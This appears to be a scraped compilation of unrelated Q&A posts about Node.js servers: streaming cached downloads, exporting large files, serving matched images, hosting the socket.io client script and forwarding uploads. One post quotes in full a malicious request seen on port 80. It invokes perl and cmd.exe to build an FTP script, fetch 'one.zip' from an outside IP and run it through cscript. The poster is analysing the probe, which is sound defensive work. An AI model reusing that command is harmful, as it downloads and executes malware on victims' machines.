The following case:
I have a webserver, which downloads files if requested by clients and works as a filecache.
The client requests a file and passes the file url as parameter. The webserver checks, if he has the file cached. If not, the webserver downloads the file and serves the file after downloading.
The response to the client has to be the file. It is not possible to close the response with a "downloading, please check back later" and open a second request from the client after a couple of minutes.
No, I won't switch to sockets, as the client does not support it. The client has to use .NET WebClient.DownloadFile.
The problem is, that the HTTP request to the webserver is on hold while downloading the file. The file can be any size, which results in the client's request canceling with timeout, if the file can't be downloaded and returned to the client in time.
I don't want to set a timeout on the client, as this would be too much of a hack.
Does anybody have an idea how to tackle this problem? I have read about HTTP status 102 (processing), but I have no idea how to set that status.
I am using node.js on the webserver, but interested in any kind of (tcp level) solution.
I solved the problem streaming the download to a temporary file and serving the content of the file to the requesting clients.
As the file grows while downloading is use npm growing-file to open the temp file and pipe the data into the response stream of the clients.
The web server should start delivering the file content to the client as soon as any of it is received from wherever it is downloading it from ... rather than downloading the entire file before it sends any of it to the client, which wastes time and space.
Related
On a server with Node.js + Express I have an API with the purpose of exporting a million records from DB to file, which then needs to be downloaded by the client. How I am doing it now: create the file while the client waits for a response, which takes around 2 minutes, and when the file is ready do res.download(file).
It works fine locally, but when deployed I am getting a Gateway 504 error. Initially I tried to pipe data to the client while going through the DB cursor, but it was too slow so I implemented a multithreading mechanism, and piping it is not possible anymore.
Is there a way I can work around this? Perhaps by opening the response stream to the client but without sending anything until the file is ready to be downloaded. Not sure if this is possible?
I need to create nodejs http server and the Angular client.
The server listen to the incoming http request in which clients specify the query parameter
/api/pictures?query=some query
Let’s say I have a folder ‘pictures’ that contains:
pic1.jpg
pic2.jpg
pic3.jpg
instruction.jpg
manual Instruction.jpg
…
Whenever the client sends the request with url like:
/api/pictures?query=pic
The server should returns files whose names contains the query specified by the client. In this case:
pic1.jpg
pic2.jpg
pic3.jpg
And if the client sends the request with url like:
/api/pictures?query=instruction
The server should returns:
instruction.jpg
manual Instruction.jpg
My question is, how to send these files in the most efficient way?
I was thinking about streaming these files, but it’s rather impossible for the browser client to read the files from such a stream
Or maybe just read all the pictures that matches the criteria to the memory, zip them and then send them.
But I believe there is efficient way to do that, any idea guys? :)
Some time ago I made a small program like SETI#home to generate the levels of a game that I'm working at. The program has a server and a client. They communicate on a port X using a simple protocol, and they use port 80 when the client is behind a HTTP proxy.
Having port 80 open, I receive a lot of weird HTTP requests. But two days ago one caught my attention:
{a few unreadable bytes that I dont know what they are}28{another byte}\perl.exe -esystem('cmd.exe /c echo open 222.91.160.59>f&echo 111>>f&echo qwe>>f&echo bin>>f&echo get one.zip>>f&echo bye>>f&ftp -s:f&cscript.exe /b /e:VBScript.Encode one.zip&del /f/q f&exit')
It makes a login file, connects via ftp to 222.91.160.59, downloads one.zip, disconnects, encodes with VBScript.Encode and deletes the file, right?
The questions:
Any idea what those few bytes at the beginning are? I assume that the request is some kind of HTTP request since it was sent to port 80, but how would it work?. Unfortunately I couldn't recover those bytes because I've outputted them as a string, I didn't write them in a log... How is this weird request suposed to be executed in a HTTP server?
The attack was not successful. I tried that evening to connect to the server, but it was closed. Yesterday, I found the server online and downloaded the file (with anonymous). I want to analyze it. Does anyone know how to decode it? I've never used VBScript.Encode, but I think that Encode either encodes/decodes and runs somehow one.zip, or the file uses a vulnerability in Encode or cscript.exe. Can someone guide me to analyze the file? I tried to base64 encode/decode it and even parts of it, but the result is unreadable.
If you want to see the beginning of one.zip, here you have a PNG: Beginning of one.zip
I assume that the .zip extension doesn't mean it is compressed, the author just put a random extension, since it is inputted directly to VBScript:Encode.
Thank you!
Consider this scenario:
Socket.io app went down (or restarted) for some reason and took about 2 seconds before it started again (considering the use of production manager app ie: PM2).
Within the 3 second down time a client tried to request the client socket.io.js script (localhost:xxxx/socket.io/socket.io.js) and resulted as a failed request (error 500, 404, or net::ERR_CONNECTION_REFUSED) before the server got started again.
After the three second downtime the server file is available again.
So now i have no other way but to inform the user to refresh to resume real time transactions.
I cannot retry to reconnect to the socket.io server because i do not have the client script.
But if it is served somewhere else, perhaps at the same dir where jQuery is, i could just listen if io is available again by writing a simple retry function that fires for every few seconds.
In general, it's a good idea to use the version served by Socket.IO, as you'll have guaranteed compatibility. However, as long as you stay on top of making sure you deploy the right versions, it's perfectly fine to host that file somewhere else. In fact, it's even preferred since you're taking the static load off your application servers and putting it elsewhere.
An easy way to do what you want is to configure Nginx or similar to cache that file and serve a stale copy when the upstream server (your Node.js with Socket.IO server) is down. https://serverfault.com/q/357541/52951
I'm working on REST server script written in NodeJS. This script lets user do POST request for uploading files. Since my server is not responsible to store files and it is taken care of by another remote server which is also REST server, I like to forward/redirect file upload stream to that remote server. What is the best approach to do that?
Should I buffer the stream and wait until I receive file in its entirety before streaming it to the remote server? Or
Should I just pipe the chunks to remote server as I receive them? I tried piping in my upload route with this statement -
req.pipe(request.post(connection).pipe(res)
but I received an error from the remote server - "Connection has been cancelled by the client". Or
Is it possible to redirect the incoming upload stream to that remote server so that my script wouldn't be a middleman?
Thanks